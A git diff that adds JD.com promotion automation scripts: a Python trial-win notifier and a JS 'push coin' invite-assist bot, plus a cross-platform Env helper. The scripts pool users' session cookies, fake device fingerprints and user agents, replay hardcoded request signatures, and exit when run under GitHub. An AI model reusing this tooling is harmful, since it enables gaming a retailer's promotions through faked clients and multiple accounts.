false + }) + } + $task.fetch(opts).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => callback(err) + ) + } else if (this.isNode()) { + this.initGotEnv(opts) + this.got(opts).on('redirect', (resp, nextOpts) => { + try { + if (resp.headers['set-cookie']) { + const ck = resp.headers['set-cookie'].map(this.cktough.Cookie.parse).toString() + if (ck) { + this.ckjar.setCookieSync(ck, null) + } + nextOpts.cookieJar = this.ckjar + } + } catch (e) { + this.logErr(e) + } + // this.ckjar.setCookieSync(resp.headers['set-cookie'].map(Cookie.parse).toString()) + }).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => { + const { + message: error, + response: resp + } = err + callback(error, resp, resp && resp.body) + } + ) + } + } + + post(opts, callback = () => { }) { + // 如果指定了请求体, 但没指定`Content-Type`, 则自动生成 + if (opts.body && opts.headers && !opts.headers['Content-Type']) { + opts.headers['Content-Type'] = 'application/x-www-form-urlencoded' + } + if (opts.headers) delete opts.headers['Content-Length'] + if (this.isSurge() || this.isLoon()) { + if (this.isSurge() && this.isNeedRewrite) { + opts.headers = opts.headers || {} + Object.assign(opts.headers, { + 'X-Surge-Skip-Scripting': false + }) + } + $httpClient.post(opts, (err, resp, body) => { + if (!err && resp) { + resp.body = body + resp.statusCode = resp.status + } + callback(err, resp, body) + }) + } else if (this.isQuanX()) { + opts.method = 'POST' + if (this.isNeedRewrite) { + opts.opts = opts.opts || {} + Object.assign(opts.opts, { + hints: false + }) + } + $task.fetch(opts).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => callback(err) + ) + } else if (this.isNode()) { + this.initGotEnv(opts) + const { + url, + ..._opts + } = opts + this.got.post(url, _opts).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => { + const { + message: error, + response: resp + } = err + callback(error, resp, resp && resp.body) + } + ) + } + } + + /** + * + * 示例:$.time('yyyy-MM-dd qq HH:mm:ss.S') + * :$.time('yyyyMMddHHmmssS') + * y:年 M:月 d:日 q:季 H:时 m:分 s:秒 S:毫秒 + * 其中y可选0-4位占位符、S可选0-1位占位符,其余可选0-2位占位符 + * @param {*} fmt 格式化参数 + * + */ + time(fmt) { + let o = { + 'M+': new Date().getMonth() + 1, + 'd+': new Date().getDate(), + 'H+': new Date().getHours(), + 'm+': new Date().getMinutes(), + 's+': new Date().getSeconds(), + 'q+': Math.floor((new Date().getMonth() + 3) / 3), + 'S': new Date().getMilliseconds() + } + if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (new Date().getFullYear() + '').substr(4 - RegExp.$1.length)) + for (let k in o) + if (new RegExp('(' + k + ')').test(fmt)) + fmt = fmt.replace(RegExp.$1, RegExp.$1.length == 1 ? o[k] : ('00' + o[k]).substr(('' + o[k]).length)) + return fmt + } + + /** + * 系统通知 + * + * > 通知参数: 同时支持 QuanX 和 Loon 两种格式, EnvJs根据运行环境自动转换, Surge 环境不支持多媒体通知 + * + * 示例: + * $.msg(title, subt, desc, 'twitter://') + * $.msg(title, subt, desc, { 'open-url': 'twitter://', 'media-url': 'https://github.githubassets.com/images/modules/open_graph/github-mark.png' }) + * $.msg(title, subt, desc, { 'open-url': 'https://bing.com', 'media-url': 'https://github.githubassets.com/images/modules/open_graph/github-mark.png' }) + * + * @param {*} title 标题 + * @param {*} subt 副标题 + * @param {*} desc 通知详情 + * @param {*} opts 通知参数 + * + */ + msg(title = name, subt = '', desc = '', opts) { + const toEnvOpts = (rawopts) => { + if (!rawopts) return rawopts + if (typeof rawopts === 'string') { + if (this.isLoon()) return rawopts + else if (this.isQuanX()) return { + 'open-url': rawopts + } + else if (this.isSurge()) return { + url: rawopts + } + else return undefined + } else if (typeof rawopts === 'object') { + if (this.isLoon()) { + let openUrl = rawopts.openUrl || rawopts.url || rawopts['open-url'] + let mediaUrl = rawopts.mediaUrl || rawopts['media-url'] + return { + openUrl, + mediaUrl + } + } else if (this.isQuanX()) { + let openUrl = rawopts['open-url'] || rawopts.url || rawopts.openUrl + let mediaUrl = rawopts['media-url'] || rawopts.mediaUrl + return { + 'open-url': openUrl, + 'media-url': mediaUrl + } + } else if (this.isSurge()) { + let openUrl = rawopts.url || rawopts.openUrl || rawopts['open-url'] + return { + url: openUrl + } + } + } else { + return undefined + } + } + if (!this.isMute) { + if (this.isSurge() || this.isLoon()) { + $notification.post(title, subt, desc, toEnvOpts(opts)) + } else if (this.isQuanX()) { + $notify(title, subt, desc, toEnvOpts(opts)) + } + } + if (!this.isMuteLog) { + let logs = ['', '==============📣系统通知📣=============='] + logs.push(title) + subt ? logs.push(subt) : '' + desc ? logs.push(desc) : '' + console.log(logs.join('\n')) + this.logs = this.logs.concat(logs) + } + } + + log(...logs) { + if (logs.length > 0) { + this.logs = [...this.logs, ...logs] + } + console.log(logs.join(this.logSeparator)) + } + + logErr(err, msg) { + const isPrintSack = !this.isSurge() && !this.isQuanX() && !this.isLoon() + if (!isPrintSack) { + this.log('', `❗️${this.name}, 错误!`, err) + } else { + this.log('', `❗️${this.name}, 错误!`, err.stack) + } + } + + wait(time) { + return new Promise((resolve) => setTimeout(resolve, time)) + } + + done(val = {}) { + const endTime = new Date().getTime() + const costTime = (endTime - this.startTime) / 1000 + this.log('', `🔔${this.name}, 结束! 🕛 ${costTime} 秒`) + this.log() + if (this.isSurge() || this.isQuanX() || this.isLoon()) { + $done(val) + } + } + })(name, opts) +} diff --git a/jd_try_notify.py b/jd_try_notify.py new file mode 100644 index 0000000..8318b54 --- /dev/null +++ b/jd_try_notify.py @@ -0,0 +1,147 @@ +#Source::https://github.com/Hyper-Beast/JD_Scripts + +""" +cron: 20 20 * * * +new Env('京东试用成功通知'); +""" + + +import requests +import json +import time +import os +import re +import sys +import random +import string +import urllib + + + +#以下部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + +UserAgent = '' +uuid=''.join(random.sample(['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','a','b','c','z'], 40)) +addressid = ''.join(random.sample('1234567898647', 10)) +iosVer = ''.join(random.sample(["14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1", "13.7", "13.1.2", "13.1.1"], 1)) +iosV = iosVer.replace('.', '_') +clientVersion=''.join(random.sample(["10.3.0", "10.2.7", "10.2.4", "10.2.2", "10.2.0", "10.1.6"], 1)) +iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) +area=''.join(random.sample('0123456789', 2)) + '_' + ''.join(random.sample('0123456789', 4)) + '_' + ''.join(random.sample('0123456789', 5)) + '_' + ''.join(random.sample('0123456789', 4)) +ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) + +def userAgent(): + """ + 随机生成一个UA + jdapp;iPhone;10.0.4;14.2;9fb54498b32e17dfc5717744b5eaecda8366223c;network/wifi;ADID/2CF597D0-10D8-4DF8-C5A2-61FD79AC8035;model/iPhone11,1;addressid/7785283669;appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1 + :return: ua + """ + if not UserAgent: + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' + else: + return UserAgent + +#以上部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + +def load_send(): + global send + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/sendNotify.py"): + try: + from sendNotify import send + except: + send=False + print("加载通知服务失败~") + else: + send=False + print("加载通知服务失败~") +load_send() + + +def printf(text): + print(text) + sys.stdout.flush() + +def get_remarkinfo(): + url='http://127.0.0.1:5600/api/envs' + try: + with open('/ql/config/auth.json', 'r') as f: + token=json.loads(f.read())['token'] + headers={ + 'Accept':'application/json', + 'authorization':'Bearer '+token, + } + response=requests.get(url=url,headers=headers) + + for i in range(len(json.loads(response.text)['data'])): + if json.loads(response.text)['data'][i]['name']=='JD_COOKIE': + try: + if json.loads(response.text)['data'][i]['remarks'].find('@@')==-1: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].replace('remark=','') + else: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].split("@@")[0].replace('remark=','').replace(';','') + except: + pass + except: + print('读取auth.json文件出错,跳过获取备注') + +def get_succeedinfo(ck): + url='https://api.m.jd.com/client.action' + headers={ + 'accept':'application/json, text/plain, */*', + 'content-type':'application/x-www-form-urlencoded', + 'origin':'https://prodev.m.jd.com', + 'content-length':'249', + 'accept-language':'zh-CN,zh-Hans;q=0.9', + 'User-Agent':userAgent(), + 'referer':'https://prodev.m.jd.com/', + 'accept-encoding':'gzip, deflate, br', + 'cookie':ck + } + data=f'appid=newtry&functionId=try_MyTrials&uuid={uuid}&clientVersion={clientVersion}&client=wh5&osVersion={iosVer}&area={area}&networkType=wifi&body=%7B%22page%22%3A1%2C%22selected%22%3A2%2C%22previewTime%22%3A%22%22%7D' + response=requests.post(url=url,headers=headers,data=data) + isnull=True + try: + for i in range(len(json.loads(response.text)['data']['list'])): + if(json.loads(response.text)['data']['list'][i]['text']['text']).find('试用资格将保留')!=-1: + print(json.loads(response.text)['data']['list'][i]['trialName']) + try: + if remarkinfos[ptpin]!='': + send("京东试用待领取物品通知",'账号名称:'+remarkinfos[ptpin]+'\n'+'商品名称:'+json.loads(response.text)['data']['list'][i]['trialName']+"\n"+"商品链接:https://item.jd.com/"+json.loads(response.text)['data']['list'][i]['skuId']+".html") + isnull=False + else: + send("京东试用待领取物品通知",'账号名称:'+urllib.parse.unquote(ptpin)+'\n'+'商品名称:'+json.loads(response.text)['data']['list'][i]['trialName']+"\n"+"商品链接:https://item.jd.com/"+json.loads(response.text)['data']['list'][i]['skuId']+".html") + isnull=False + except Exception as e: + printf(str(e)) + if isnull==True: + print("没有在有效期内待领取的试用品\n\n") + except: + print('获取信息出错,可能是账号已过期') + pass +if __name__ == '__main__': + remarkinfos={} + try: + get_remarkinfo() + except: + pass + try: + cks = os.environ["JD_COOKIE"].split("&") + except: + f = open("/jd/config/config.sh", "r", encoding='utf-8') + cks = re.findall(r'Cookie[0-9]*="(pt_key=.*?;pt_pin=.*?;)"', f.read()) + f.close() + for ck in cks: + ck = ck.strip() + if ck[-1] != ';': + ck += ';' + ptpin = re.findall(r"pt_pin=(.*?);", ck)[0] + try: + if remarkinfos[ptpin]!='': + printf("--账号:" + remarkinfos[ptpin] + "--") + else: + printf("--无备注账号:" + urllib.parse.unquote(ptpin) + "--") + except Exception as e: + printf("--账号:" + urllib.parse.unquote(ptpin) + "--") + get_succeedinfo(ck) diff --git a/jd_tyt.js b/jd_tyt.js new file mode 100644 index 0000000..f2242a8 --- /dev/null +++ b/jd_tyt.js @@ -0,0 +1,398 @@ +/* +入口 极速版 赚金币 推一推 +助力前三 + + [task_local] +#搞基大神-推一推 +3 1 * * * http://47.101.146.160/scripts/jd_tyt.js, tag=搞基大神-推一推, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +*/ + +const $ = new Env('推一推');//助力前三个可助力的账号 +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const JD_API_HOST = 'https://api.m.jd.com'; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let status = '' + +let inviteCodes = [] + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + } + console.log('\n入口 狗东极速版 赚金币 推一推\n'); + console.log('\n本脚本无任何内置助力\n如果你发现有那么就是别人二改加的\n一切与本人无关\n'); + await info() + await coinDozerBackFlow() + await getCoinDozerInfo() + console.log('\n注意助力前三个可助力的账号\n'); + if (inviteCodes.length >= 3) { + break + } + } + + console.log('\n#######开始助力前三个可助力的账号#######\n'); + cookiesArr.sort(function () { + return .5 - Math.random(); + }); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if (!cookie) continue + for (let j in inviteCodes) { + $.ok = false + if (inviteCodes[j]["ok"]) continue + if ($.UserName === inviteCodes[j]['user']) continue; + await helpCoinDozer(inviteCodes[j]['packetId']) + console.log(`\n【${$.UserName}】去助力【${inviteCodes[j]['user']}】邀请码:${inviteCodes[j]['packetId']}`); + if ($.ok) { + inviteCodes[j]["ok"] = true + continue + } + await $.wait(10000) + await help(inviteCodes[j]['packetId']) + if ($.ok) { + inviteCodes[j]["ok"] = true + continue + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +function info() { + return new Promise((resolve) => { + + const nm = { + url: `${JD_API_HOST}`, + body: `functionId=initiateCoinDozer&body={"actId":"d5a8c7198ee54de093d2adb04089d3ec","channel":"coin_dozer","antiToken":"","referer":"-1","frontendInitStatus":"s"}&appid=megatron&client=ios&clientVersion=14.3&t=1636014459632&networkType=4g&eid=&fp=-1&frontendInitStatus=s&uuid=8888&osVersion=14.3&d_brand=&d_model=&agent=-1&pageClickKey=-1&screen=400*700&platform=3&lang=zh_CN`, + headers: { + + "Cookie": cookie, + "Origin": "https://pushgold.jd.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", + + } + } + $.post(nm, async (err, resp, data) => { + + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success == true) { + console.log('邀请码:' + data.data.packetId) + console.log('初始推出:' + data.data.amount) + if (data.data && data.data.packetId) { + inviteCodes.push({ + user: $.UserName, + packetId: data.data.packetId, + ok: false, + }); + } + } else if (data.success == false) { + console.log(data.msg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function coinDozerBackFlow() { + return new Promise((resolve) => { + + const nm = { + url: `${JD_API_HOST}`, + body: `functionId=coinDozerBackFlow&body={"actId":"d5a8c7198ee54de093d2adb04089d3ec","channel":"coin_dozer","antiToken":"","referer":"-1","frontendInitStatus":"s"}&appid=megatron&client=ios&clientVersion=14.3&t=1636015617899&networkType=4g&eid=&fp=-1&frontendInitStatus=s&uuid=8888&osVersion=14.3&d_brand=&d_model=&agent=-1&pageClickKey=-1&screen=400*700&platform=3&lang=zh_CN`, + headers: { + + "Cookie": cookie, + "Origin": "https://pushgold.jd.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", + + } + } + $.post(nm, async (err, resp, data) => { + + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success == true) { + console.log('浏览任务完成再推一次') + + + } + } else if (data.success == false) { + console.log(data.msg) + } + } + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function helpCoinDozer(packetId) { + return new Promise((resolve) => { + const nm = { + url: `${JD_API_HOST}`, + body: `functionId=helpCoinDozer&appid=station-soa-h5&client=H5&clientVersion=1.0.0&t=1636015855103&body={"actId":"d5a8c7198ee54de093d2adb04089d3ec","channel":"coin_dozer","antiToken":"","referer":"-1","frontendInitStatus":"s","packetId":"${packetId}"}&_ste=1&_stk=appid,body,client,clientVersion,functionId,t&h5st=20211104165055104;9806356985655163;10005;tk01wd1ed1d5f30nBDriGzaeVZZ9vuiX+cBzRLExSEzpfTriRD0nxU6BbRIOcSQvnfh74uInjSeb6i+VHpnHrBJdVwzs;017f330f7a84896d31a8d6017a1504dc16be8001273aaea9a04a8d04aad033d9`, + headers: { + + "Cookie": cookie, + "Origin": "https://pushgold.jd.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", + + } + } + $.post(nm, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success == true) { + console.log('推出:' + data.data.amount) + console.log('已经推出:' + data.data.dismantledAmount) + } + } else if (data.success == false) { + if (data.msg.indexOf("已完成砍价") != -1) { + $.ok = true + } + } + } + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +function help(packetId) { + return new Promise((resolve) => { + const nm = { + url: `${JD_API_HOST}`, + body: `functionId=helpCoinDozer&appid=station-soa-h5&client=H5&clientVersion=1.0.0&t=1623120183787&body={"actId":"d5a8c7198ee54de093d2adb04089d3ec","channel":"coin_dozer","antiToken":"","referer":"-1","frontendInitStatus":"s","packetId":"${packetId}","helperStatus":"0"}&_ste=1&_stk=appid,body,client,clientVersion,functionId,t&h5st=20210608104303790;8489907903583162;10005;tk01w89681aa9a8nZDdIanIyWnVuWFLK4gnqY+05WKcPY3NWU2dcfa73B7PBM7ufJEN0U+4MyHW5N2mT/RNMq72ycJxH;7e6b956f1a8a71b269a0038bbb4abd24bcfb834a88910818cf1bdfc55b7b96e5`, + headers: { + + "Cookie": cookie, + "Origin": "https://pushgold.jd.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", + + } + } + $.post(nm, async (err, resp, data) => { + + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success == true) { + console.log("帮砍:" + data.data.amount) + + } + } + else + if (data.msg.indexOf("完成") != -1) { + status = 1 + } + if (data.success == false) { + if (data.msg.indexOf("完成") != -1) { + $.ok = true + } + + } + } + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getCoinDozerInfo() { + return new Promise((resolve) => { + + const nm = { + url: `${JD_API_HOST}`, + body: `functionId=getCoinDozerInfo&body={"actId":"d5a8c7198ee54de093d2adb04089d3ec","channel":"coin_dozer","antiToken":"","referer":"-1","frontendInitStatus":"s"}&appid=megatron&client=ios&clientVersion=14.3&t=1636015858295&networkType=4g&eid=&fp=-1&frontendInitStatus=s&uuid=8888&osVersion=14.3&d_brand=&d_model=&agent=-1&pageClickKey=-1&screen=400*700&platform=3&lang=zh_CN`, + headers: { + + "Cookie": cookie, + "Origin": "https://pushgold.jd.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", + + } + } + $.post(nm, async (err, resp, data) => { + + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success == true && data?.data?.sponsorActivityInfo?.packetId) { + console.log('叼毛:' + data.data.sponsorActivityInfo.initiatorNickname) + console.log('邀请码:' + data.data.sponsorActivityInfo.packetId) + console.log('推出:' + data.data.sponsorActivityInfo.dismantledAmount) + if (data.data && data.data.sponsorActivityInfo.packetId) { + inviteCodes.push({ + user: $.UserName, + packetId: data.data.sponsorActivityInfo.packetId, + ok: false, + }); + } + } else if (data.success == false) { + console.log(data.msg) + } + } + } + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + + + +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) 